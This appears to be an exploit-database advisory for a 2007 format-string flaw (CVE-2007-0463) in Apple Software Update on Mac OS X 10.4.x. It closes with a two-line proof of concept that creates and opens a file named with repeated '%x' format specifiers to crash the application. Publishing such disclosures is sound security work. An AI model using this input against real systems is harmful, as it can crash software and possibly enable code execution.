Apple Mac OSX 10.4.x - Software Update Format String

Author: kf
type: dos
platform: osx
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date_added: 2007-01-25 
date_updated: 2013-11-10 
verified: 1 
codes: CVE-2007-0463;OSVDB-32703 
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source: https://www.securityfocus.com/bid/22222/info

Apple Software Update is prone to a format-string vulnerability.

This issue presents itself because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly lead to arbitrary code execution. This may facilitate unauthorized access or privilege escalation in the context of the user running the application.

$ touch %x.%x.%x.%x.%x.%x.%x.swutmp
$ open %x.%x.%x.%x.%x.%x.%x.swutmp